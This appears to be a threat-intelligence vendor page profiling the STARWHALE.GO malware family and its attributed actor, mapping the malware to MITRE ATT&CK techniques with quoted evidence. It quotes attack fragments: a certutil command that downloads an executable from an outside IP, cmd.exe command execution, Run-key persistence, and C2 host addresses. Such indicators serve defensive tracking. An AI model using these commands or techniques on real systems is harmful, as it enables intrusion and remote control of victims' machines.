MalwareUsed by 1 actor

STARWHALE.GO

For your environment

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THREAT ACTORS

Groups observed using it

1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

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MuddyCoast

"Mandiant is calling this code family STARWHALE.GO... written in Golang... uses a custom data encoding algorithm... The decoded result is either launched as a command line with the process 'cmd.exe /c'"

via mandiant threat intelligencecloud.google.com

MITRE ATT&CK

Techniques & procedures

6 distinct techniques documented for this family, organized by ATT&CK tactic.

Execution

1 technique

T1059.003Windows Command ShellEvidence1

The C2 server will then respond with a command meant to be executed via cmd.exe... cmd.exe /c <command> >> %temp%\stari.txt... GRAMDOOR ... used to launch a cmd.exe process to which commands are piped.

Persistence

1 technique

T1547.001Registry Run Keys / Startup FolderEvidence1

creates a Run key in Windows registry to make it persistent... HKCU ... Run OutlookM ... GRAMDOOR ... setting the Windows Run registry key...

Privilege Escalation

1 technique

T1547.001Registry Run Keys / Startup FolderEvidence1

creates a Run key in Windows registry to make it persistent... HKCU ... Run OutlookM ... GRAMDOOR ... setting the Windows Run registry key...

Stealth

1 technique

T1027Obfuscated Files or InformationEvidence1

It then encodes this information using a custom encoding scheme... GRAMDOOR also hides sensitive strings within its code using a custom XOR-based encryption scheme... PowerShell ... decode ... FromBase64String ... -bxor

Discovery

1 technique

T1082System Information DiscoveryEvidence1

Upon first execution, the malware gathers basic user and system information, such as local IP address, computer name, and username.

Command and Control

2 techniques

T1071.001Web ProtocolsEvidence1

STARWHALE communicates with its C2 server... sending ... via HTTP POST requests... Host: 5.199.133[.]149 ... STARWHALE.GO ... sample HTTP POST request ... Host: 87.236.212[.]184

T1105Ingress Tool TransferEvidence1

certutil.exe -urlcache -split -f hxxp://95.181.161[.]81:443/per_indexx.exe

ACTIVITY FEED

Recent activity

1 sources tracked across advisories and community write-ups. News coverage will land here when it surfaces.

1 SOURCESView more in app

No news coverage yet. Advisories and community discussion only.

What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.

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IOC matching

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution1

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping6

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.